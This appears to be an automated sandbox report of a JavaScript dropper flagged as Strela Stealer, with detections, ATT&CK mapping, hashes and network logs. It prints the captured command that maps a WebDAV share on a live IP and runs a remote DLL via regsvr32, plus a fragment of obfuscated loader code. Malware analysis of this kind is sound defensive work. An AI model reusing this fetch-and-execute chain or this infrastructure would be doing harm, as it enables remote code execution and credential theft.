Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\net.exe TID: 4268

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: net.exe, 00000005.00000003.2049998000.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000005.00000002.2130413282.00000178B0F08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpW

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: CreateThread,GetLocaleInfoA,

11_2_02209A30

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Strela Stealer

Source: Yara match	File source: 11.2.regsvr32.exe.7ff8b7e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2209539224.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5640, type: MEMORYSTR

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior

Opens network shares

Source: C:\Windows\System32\regsvr32.exe	File opened: \\193.143.1.231@8888\davwwwroot\140341625623863.dll			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: \\193.143.1.231@8888\davwwwroot\140341625623863.dll			Jump to behavior

Remote Access Functionality

Yara detected Strela Stealer

Source: Yara match	File source: 11.2.regsvr32.exe.7ff8b7e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2209329233.0000000002201000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2209539224.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5640, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	Windows Management Instrumentation	12 Scripting	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	2 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Regsvr32	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 System Information Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
126484723232027823.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.231:8888/%=1	0%	Avira URL Cloud	safe
http://193.143.1.231:8888//	0%	Avira URL Cloud	safe
http://193.143.1.231/	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/-=9	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/y=M	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.231:8888/%=1	net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231/	net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/	net.exe, 00000005.00000002.2130413282.00000178B0F95000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000003.2049998000.00000178B0F5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/-=9	net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/y=M	net.exe, 00000005.00000003.2050785619.00000178B0F37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888//	net.exe, 00000005.00000002.2130413282.00000178B0F71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.231	unknown	unknown		57271	BITWEB-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576785
Start date and time:	2024-12-17 15:15:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	126484723232027823.js
Detection:	MAL
Classification:	mal84.rans.troj.spyw.evad.winJS@12/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 71% Number of executed functions: 3 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 126484723232027823.js

Simulations

Behavior and APIs

Time	Type	Description
09:16:02	API Interceptor	1x Sleep call for process: net.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	qL619hzCfc.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cgd-assinar.com	Get hash	malicious	Unknown	Browse	193.143.1.14
	11iEly4m6C.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	YnViC5yHLu.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	193.143.1.14
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70

File type:	ASCII text, with very long lines (11695), with no line terminators
Entropy (8bit):	4.75000181394305
TrID:
File name:	126484723232027823.js
File size:	11'695 bytes
MD5:	09024cb4c452f96fe5b6045e198092ba
SHA1:	53f924039e79576a5b2e9b90e3c11c1116e933eb
SHA256:	0ff304716b215d4fadbf9fee1be5d717c454a09f6bdbe6e42e29995d969964e8
SHA512:	5e0146dc0e358a0a78964abceb2cf735fd1c7d9e0efaae05a0ad39d441c5329a88f0ff28ce5a6171690963398eb4884219db77e66316348b38f2a979dcb4b494
SSDEEP:	192:JxTxIOSN8HHdiTp9JRSSZxSSGSSZxSSf1OSSB5SS3uVX+++QZPP/RvOSSZxSS5nK:P1y1uVIuuVOhpD
TLSH:	6832BF9DB6E4F44818FE9100336291106DA6747E7F32CB2DB3EE998866443F59ED703A
File Content Preview:	function ftewq(){this[hfgkhke+iqkshjqkp+conprmvk+mwncmi](gebyyu+eoztg+jqskgadc+jvaxx+xqqrniwzz+zxqbq+qtwic+cblmmvh+cblmmvh+iqkshjqkp+acrinokm+qtwic+gebyyu+conprmvk+djwmv+ktqhqp+djwmv+woscoo+acrinokm+gbeabu+cblmmvh+oindqeulx+zxqbq+jvaxx+ktqhqp+qxdyfx+jqskg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 15:16:02.208988905 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:02.328965902 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:02.329051971 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:02.329371929 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:02.448918104 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:03.748127937 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:03.792522907 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:06.952980042 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:07.074276924 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:07.074402094 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:07.084291935 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:07.204433918 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:08.539954901 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:08.589358091 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:08.655817986 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:08.777126074 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:08.777216911 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:08.777369976 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:08.896972895 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:10.208786011 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:10.218274117 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:10.261400938 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:10.338135958 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:10.338377953 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:10.338555098 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:10.458251953 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:11.761334896 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:11.808101892 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:11.817745924 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:11.880009890 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:11.999758959 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:11.999993086 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:12.000483036 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:12.119921923 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:13.427613974 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:13.434827089 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:13.480017900 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:13.555481911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:13.555691957 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:13.555913925 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:13.676049948 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.979101896 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.979301929 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.979361057 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.979506016 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:14.980051041 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.980086088 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.980123997 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:14.980694056 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.980727911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.980757952 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:14.981395006 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.981430054 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.981457949 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:14.981519938 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:14.981575966 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.099153996 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.099399090 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.099581003 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.103607893 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.151900053 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.170952082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.171065092 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.171226025 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.173367023 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.173557043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.173641920 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.181876898 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.182054996 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.182337046 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.190294981 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.190514088 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.190637112 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.198828936 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.199023962 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.199239969 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.207220078 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.207393885 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.207468987 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.215701103 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.215847015 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.216002941 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.224247932 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.224282980 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.224442005 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.232573032 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.232775927 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.232960939 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.241000891 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.241202116 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.241468906 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.271667004 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.272130966 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.272346973 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.290894985 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.291054010 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.291228056 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.363190889 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.363226891 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.363658905 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.365398884 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.365545988 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.365921021 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.370235920 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.370269060 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.370517969 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.374773979 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.374965906 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.375030994 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.379539967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.379723072 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.379785061 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.384591103 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.384907007 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.384990931 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.388989925 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.389180899 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.389244080 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.394881964 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.395113945 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.395176888 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.398488045 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.398668051 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.398727894 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.403260946 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.403458118 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.403527021 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.407926083 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.408109903 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.408271074 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.412652016 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.412847042 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.412909985 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.417453051 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.417735100 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.417807102 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.422146082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.422291040 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.422363043 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.426055908 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.426222086 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.426284075 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.429820061 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.429963112 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.430121899 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.433557034 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.433787107 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.433898926 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.437458038 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.437666893 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.437820911 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.441395044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.441575050 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.441637993 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.445084095 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.445285082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.445348024 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.448807001 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.449002981 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.449069023 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.452697039 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.495688915 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.555105925 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.555351973 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.555510998 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.556596994 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.556843996 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.556905031 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.561907053 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.562228918 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.562294006 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.565402031 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.565510988 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.565567970 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.567584038 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.567738056 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.567796946 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.569686890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.569852114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.569912910 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.572025061 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.572199106 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.572258949 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.573647022 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.573873997 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.573936939 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.576276064 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.576466084 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.576522112 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.578979969 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.579206944 CET	8888	49709	193.143.1.231	192.168.2.5
